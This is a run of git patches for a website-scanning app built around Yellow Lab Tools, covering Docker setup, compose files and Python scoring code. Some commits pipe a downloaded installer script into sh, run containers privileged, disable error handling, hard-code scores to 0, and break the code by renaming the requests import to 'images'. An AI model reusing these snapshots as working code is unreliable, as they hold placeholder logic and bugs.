+             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 8f98f6e5..38fdf649 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -7,11 +7,16 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
 ENV DOCKERIZED yes
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=4000
+ENV NODE_OPTIONS="--max-old-space-size=4000"
+ENV GENERATE_SOURCEMAP=false
+
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" \ 
-  && npm install -g yellowlabtools@2.2.0 --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
+  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b ${VERSION} . \
+  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \

From 846ec240e2ca79ba27087f927d6bef4239c1290a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:25:57 -0600
Subject: [PATCH 0313/1099] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 38fdf649..9c382ebb 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -15,7 +15,7 @@ ENV GENERATE_SOURCEMAP=false
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b ${VERSION} . \
+  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b main . \
   && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \

From c52a07dee1041f1bd076ea6dab8a66f25a1c998e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:28:42 -0600
Subject: [PATCH 0314/1099] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 9c382ebb..014c98ca 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -46,7 +46,8 @@ USER nobody
 ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
 
+ENV DEBUG *
 
+EXPOSE  8383
 
-# entry point
-ENTRYPOINT [ "yellowlabtools" ]
\ No newline at end of file
+CMD     ["node", "bin/server.js"]
\ No newline at end of file

From 7e8c25af5f65fbb4bd390edbd9cfa900518a5f55 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:29:19 -0600
Subject: [PATCH 0315/1099] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 014c98ca..2be57998 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -48,6 +48,6 @@ ENV XDG_CACHE_HOME /tmp/.chromium
 
 ENV DEBUG *
 
-EXPOSE  8383
+EXPOSE 8383
 
-CMD     ["node", "bin/server.js"]
\ No newline at end of file
+CMD ["node", "bin/server.js"]
\ No newline at end of file

From bbcc0885ca4a578384603dfde8a69e9d322f6856 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:58:14 -0600
Subject: [PATCH 0316/1099] trying new cmd

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 036d715e..bd28fbe2 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -58,7 +58,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From b91c19ee9fa45b7fcdd43593363c15f5067f44ab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:20:58 -0600
Subject: [PATCH 0317/1099] added new notes

---
 notes/Deployment.md | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index 9b161d1f..b543a5d9 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -5,6 +5,8 @@
   - [Remote](#remote)
   - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
+    - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
+    - [Get \& Set Node Memory:](#get--set-node-memory)
 
 
 &nbsp;
@@ -138,3 +140,27 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ``` shell
 $ docker exec -it <container:id> /bin/sh
 ```
+
+
+### Install and run Docker in Containers
+```shell
+sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+service docker start &&
+sleep 10 &&
+docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+```
+
+
+### Get & Set Node Memory:
+Get Current Memory
+```shell
+node -e 'console.log(v8.getHeapStatistics().heap_size_limit/(1024*1024))'
+```
+Set New Memory
+```shell
+export NODE_OPTIONS="--max-old-space-size=4080" # Increase to 4 GB
+export NODE_OPTIONS="--max-old-space-size=5120" # Increase to 5 GB
+export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB
+export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB
+export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB
+```

From be8bfaaf03e0138d560f3a9b7f708a060bfeb43f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:21:05 -0600
Subject: [PATCH 0318/1099] adding yellolab container

---
 docker-compose.dev.yml | 37 ++++++++++++++++++++++++++++---------
 1 file changed, 28 insertions(+), 9 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index bd28fbe2..ea71861f 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,15 +20,13 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start &&
-             sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
     env_file:
       - ./env/.env.dev
+    networks:
+      - back-tier
 
 
   db:
@@ -39,12 +37,16 @@ services:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
+    networks:
+      - back-tier
 
 
   redis:
     image: redis:alpine
     ports:
       - "6379"
+    networks:
+      - back-tier
 
 
   celery:
@@ -55,11 +57,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start &&
-             sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
-             celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:
@@ -68,6 +66,24 @@ services:
       - redis
       - app
       - db
+    networks:
+      - back-tier
+
+    
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    build: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+    networks:
+      - back-tier
       
 
   nginx-proxy:
@@ -101,6 +117,9 @@ services:
       - nginx-proxy
 
 
+networks:
+  back-tier:
+
 volumes:
   static_volume:
   letsencrypt-acme:

From 42b4f6bb6490afca43cce71319609fede3dd201b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:23:57 -0600
Subject: [PATCH 0319/1099] fixed tag issue

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index ea71861f..d82762d2 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -74,7 +74,7 @@ services:
     container_name: yellowlab
     privileged: true
     restart: always
-    build: scanerr/ylt
+    image: scanerr/ylt
     ports:
       - 8383:8383
     depends_on:

From dc626604b1a121aaf9f9909862edfe6bfa0c3de8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:34:09 -0600
Subject: [PATCH 0320/1099] removed network

---
 docker-compose.dev.yml | 18 +++++-------------
 1 file changed, 5 insertions(+), 13 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d82762d2..7142d662 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -25,8 +25,7 @@ services:
       - 8000
     env_file:
       - ./env/.env.dev
-    networks:
-      - back-tier
+    
 
 
   db:
@@ -37,16 +36,14 @@ services:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
-    networks:
-      - back-tier
+    
 
 
   redis:
     image: redis:alpine
     ports:
       - "6379"
-    networks:
-      - back-tier
+    
 
 
   celery:
@@ -66,8 +63,7 @@ services:
       - redis
       - app
       - db
-    networks:
-      - back-tier
+    
 
     
   yellowlab:
@@ -82,8 +78,7 @@ services:
       - celery 
       - app
       - db
-    networks:
-      - back-tier
+    
       
 
   nginx-proxy:
@@ -117,9 +112,6 @@ services:
       - nginx-proxy
 
 
-networks:
-  back-tier:
-
 volumes:
   static_volume:
   letsencrypt-acme:

From 068ed2b82230946a4bd20b99cd25c8b88d4898f4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:10:44 -0600
Subject: [PATCH 0321/1099] debugging issues

---
 app/api/utils/yellowlab.py | 82 +++++++++++++++++++-------------------
 1 file changed, 41 insertions(+), 41 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index f6623615..94004a56 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -228,47 +228,47 @@ def get_data(self):
             print(e)
             print(f'YELLOWLAB CLI FAILED, Trying API...')
 
-            try:
-                raw_data = self.yellowlab_api()
-                data = self.process_data(stdout_json=raw_data)
-                return data
-
-            except Exception as e:
-                print(f'YELLOWLAB API FAILED --> {e}')
-
-                scores = {
-                    "globalScore": None,
-                    "pageWeight": None, 
-                    "requests": None, 
-                    "domComplexity": None, 
-                    "javascriptComplexity": None,
-                    "badJavascript": None,
-                    "jQuery": None,
-                    "cssComplexity": None,
-                    "badCSS": None,
-                    "fonts": None,
-                    "serverConfig": None,
-                }
-
-                audits = {
-                    "pageWeight": [], 
-                    "requests": [], 
-                    "domComplexity": [], 
-                    "javascriptComplexity": [],
-                    "badJavascript": [],
-                    "jQuery": [],
-                    "cssComplexity": [],
-                    "badCSS": [],
-                    "fonts": [],
-                    "serverConfig": [],
-                }
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits,
-                    "failed": True
-                }
+            # try:
+            raw_data = self.yellowlab_api()
+            data = self.process_data(stdout_json=raw_data)
+            return data
+
+            # except Exception as e:
+            #     print(f'YELLOWLAB API FAILED --> {e}')
+
+            #     scores = {
+            #         "globalScore": None,
+            #         "pageWeight": None, 
+            #         "requests": None, 
+            #         "domComplexity": None, 
+            #         "javascriptComplexity": None,
+            #         "badJavascript": None,
+            #         "jQuery": None,
+            #         "cssComplexity": None,
+            #         "badCSS": None,
+            #         "fonts": None,
+            #         "serverConfig": None,
+            #     }
+
+            #     audits = {
+            #         "pageWeight": [], 
+            #         "requests": [], 
+            #         "domComplexity": [], 
+            #         "javascriptComplexity": [],
+            #         "badJavascript": [],
+            #         "jQuery": [],
+            #         "cssComplexity": [],
+            #         "badCSS": [],
+            #         "fonts": [],
+            #         "serverConfig": [],
+            #     }
+
+            #     data = {
+            #         "scores": scores, 
+            #         "audits": audits,
+            #         "failed": True
+            #     }
             
-                return data
+            #     return data
         
 

From a0cd1dc7f835de0fee821a627a0af694d3269156 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:28:39 -0600
Subject: [PATCH 0322/1099] debugging

---
 app/api/utils/scanner.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..b405b4cf 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    try:
-        # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.yellowlab = yl_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running yellowlab
+    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.yellowlab = yl_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From fdd2424bba9c725d2233c463cf8e451d28404a51 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:48:26 -0600
Subject: [PATCH 0323/1099] debugging

---
 app/api/utils/yellowlab.py | 80 ++++++++++++++++++++++----------------
 1 file changed, 47 insertions(+), 33 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 94004a56..6775a79c 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -133,44 +133,58 @@ def process_data(self, stdout_json: dict) -> dict:
             "cssComplexity": [],
             "badCSS": [],
             "fonts": [],
-            "serverConfig": [],
+            "serverConfig": stdout_json,
         }
 
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        for cat in audits:
-            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-            for a in cat_audits:
-                try:
-                    audit = stdout_json["rules"][a]
-                    audits[cat].append(audit)
-                except:
-                    pass
-
-        # get scores from each category
-        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
+        # for cat in audits:
+        #     cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+        #     for a in cat_audits:
+        #         try:
+        #             audit = stdout_json["rules"][a]
+        #             audits[cat].append(audit)
+        #         except:
+        #             pass
+
+        # # get scores from each category
+        # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
         
+        # scores = {
+        #     "globalScore": globalScore,
+        #     "pageWeight": pageWeight_score, 
+        #     "requests": requests_score, 
+        #     "domComplexity": domComplexity_score, 
+        #     "javascriptComplexity": javascriptComplexity_score,
+        #     "badJavascript": badJavascript_score,
+        #     "jQuery": jQuery_score,
+        #     "cssComplexity": cssComplexity_score,
+        #     "badCSS": badCSS_score,
+        #     "fonts": fonts_score,
+        #     "serverConfig": serverConfig_score,
+        # }
+
         scores = {
-            "globalScore": globalScore,
-            "pageWeight": pageWeight_score, 
-            "requests": requests_score, 
-            "domComplexity": domComplexity_score, 
-            "javascriptComplexity": javascriptComplexity_score,
-            "badJavascript": badJavascript_score,
-            "jQuery": jQuery_score,
-            "cssComplexity": cssComplexity_score,
-            "badCSS": badCSS_score,
-            "fonts": fonts_score,
-            "serverConfig": serverConfig_score,
+            "globalScore": 0,
+            "pageWeight": 0, 
+            "requests": 0, 
+            "domComplexity": 0, 
+            "javascriptComplexity": 0,
+            "badJavascript": 0,
+            "jQuery": 0,
+            "cssComplexity": 0,
+            "badCSS": 0,
+            "fonts": 0,
+            "serverConfig": 0,
         }
 
         # save audits data as json file

From 2d0a82b8824f1840f09920c899095f55968a8e59 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:16:12 -0600
Subject: [PATCH 0324/1099] using yellowlab 3.0.1

---
 Dockerfile                                    | 11 ++-
 app/api/models.py                             |  6 +-
 app/api/utils/alerts.py                       | 16 ++--
 app/api/utils/automations.py                  |  8 +-
 app/api/utils/tester.py                       | 16 ++--
 app/api/utils/yellowlab.py                    | 82 ++++++++-----------
 functions/scanerr-yl/.gitignore               |  7 --
 .../packages/scanerr/yellowlab/package.json   | 10 ---
 .../packages/scanerr/yellowlab/yellowlab.js   | 16 ----
 functions/scanerr-yl/project.yml              | 19 -----
 .../{dockerfiles => yellowlab}/Dockerfile     |  0
 11 files changed, 66 insertions(+), 125 deletions(-)
 delete mode 100644 functions/scanerr-yl/.gitignore
 delete mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/package.json
 delete mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
 delete mode 100644 functions/scanerr-yl/project.yml
 rename functions/{dockerfiles => yellowlab}/Dockerfile (100%)

diff --git a/Dockerfile b/Dockerfile
index d4490295..a795c01a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -52,7 +52,7 @@ RUN npm cache clean --force
 RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
 
 # installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
@@ -69,6 +69,11 @@ RUN chown -R app:app /usr/bin/chromium
 # removing chromium config
 RUN rm -rf ~/.config/chromium
 
-# trying to install docker
+# install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh
+
+RUN sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
+    service docker start && \
+    sleep 10 && \
+    docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt
\ No newline at end of file
diff --git a/app/api/models.py b/app/api/models.py
index e2e67e1a..063e2966 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -33,7 +33,7 @@ def get_info_default():
             'yellowlab': {
                 'globalScore': None,
                 'pageWeight': None,
-                'requests': None, 
+                'images': None, 
                 'domComplexity': None, 
                 'javascriptComplexity': None,
                 'badJavascript': None,
@@ -100,7 +100,7 @@ def get_yl_delta_default():
         "scores": {
             "average_delta": None,
             "pageWeight_delta": None, 
-            "requests_delta": None, 
+            "images_delta": None, 
             "domComplexity_delta": None, 
             "javascriptComplexity_delta": None,
             "badJavascript_delta": None,
@@ -137,7 +137,7 @@ def get_yl_default():
        "scores": {
             "globalScore": None,
             "pageWeight": None, 
-            "requests": None, 
+            "images": None, 
             "domComplexity": None, 
             "javascriptComplexity": None,
             "badJavascript": None,
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index a2912352..f30c8079 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -67,8 +67,8 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
         elif 'pageWeight_delta' in e['data_type']:
             data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t'
-        elif 'requests_delta' in e['data_type']:
-            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t'
+        elif 'images_delta' in e['data_type']:
+            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["images_delta"])+'\n\t'
         elif 'domComplexity_delta' in e['data_type']:
             data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t'
         elif 'javascriptComplexity_delta' in e['data_type']:
@@ -91,8 +91,8 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t'
         elif 'pageWeight' in e['data_type']:
             data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t'
-        elif 'requests' in e['data_type']:
-            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t'
+        elif 'images' in e['data_type']:
+            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["images"])+'\n\t'
         elif 'domComplexity' in e['data_type']:
             data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t'
         elif 'javascriptComplexity' in e['data_type']:
@@ -184,8 +184,8 @@ def create_json_data(data, obj):
             json_data[key] = item.yellowlab_delta["scores"]["current_average"]
         elif 'pageWeight_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"]
-        elif 'requests_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["requests_delta"]
+        elif 'images_delta' == json_data[key]:
+            json_data[key] = item.yellowlab_delta["scores"]["images_delta"]
         elif 'domComplexity_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"]
         elif 'javascriptComplexity_delta' == json_data[key]:
@@ -207,8 +207,8 @@ def create_json_data(data, obj):
             json_data[key] = item.yellowlab["scores"]["globalScore"]
         elif 'pageWeight' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["pageWeight"]
-        elif 'requests' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["requests"]
+        elif 'images' == json_data[key]:
+            json_data[key] = item.yellowlab["scores"]["images"]
         elif 'domComplexity' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["domComplexity"]
         elif 'javascriptComplexity' == json_data[key]:
diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py
index ea7be1b9..53a235e7 100644
--- a/app/api/utils/automations.py
+++ b/app/api/utils/automations.py
@@ -115,8 +115,8 @@ def automation(automation_id, object_id):
                 data_type = 'float(test.yellowlab_delta["scores"]["current_average"])'
             elif 'pageWeight_delta' in expression['data_type']:
                 data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])'
-            elif 'requests_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])'
+            elif 'images_delta' in expression['data_type']:
+                data_type = 'float(test.yellowlab_delta["scores"]["images_delta"])'
             elif 'domComplexity_delta' in expression['data_type']:
                 data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])'
             elif 'javascriptComplexity_delta' in expression['data_type']:
@@ -138,8 +138,8 @@ def automation(automation_id, object_id):
                 data_type = 'float(scan.yellowlab["scores"]["globalScore"])'
             elif 'pageWeight' in expression['data_type']:
                 data_type = 'float(scan.yellowlab["scores"]["pageWeight"])'
-            elif 'requests' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["requests"])'
+            elif 'images' in expression['data_type']:
+                data_type = 'float(scan.yellowlab["scores"]["images"])'
             elif 'domComplexity' in expression['data_type']:
                 data_type = 'float(scan.yellowlab["scores"]["domComplexity"])'
             elif 'javascriptComplexity' in expression['data_type']:
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 2268a17c..9be8bff2 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,7 +3,7 @@
 from .image import Image
 from scanerr import settings
 from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, requests, uuid, boto3
+import time, os, sys, json, random, string, re, images, uuid, boto3
 
 
 
@@ -29,8 +29,8 @@ def __init__(self, test):
 
 
     def clean_html(self):
-        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
-        post_scan_html_raw = requests.get(self.test.post_scan.html).text
+        pre_scan_html_raw = images.get(self.test.pre_scan.html).text
+        post_scan_html_raw = images.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 
@@ -338,7 +338,7 @@ def delta_yellowlab(self):
         try:
             pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore'])
             pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight'])
-            pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests'])
+            pre_images = int(self.test.pre_scan.yellowlab["scores"]['images'])
             pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity'])
             pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity'])
             pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript'])
@@ -350,7 +350,7 @@ def delta_yellowlab(self):
 
             post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore'])
             post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight'])
-            post_requests = int(self.test.post_scan.yellowlab["scores"]['requests'])
+            post_images = int(self.test.post_scan.yellowlab["scores"]['images'])
             post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity'])
             post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity'])
             post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript'])
@@ -361,7 +361,7 @@ def delta_yellowlab(self):
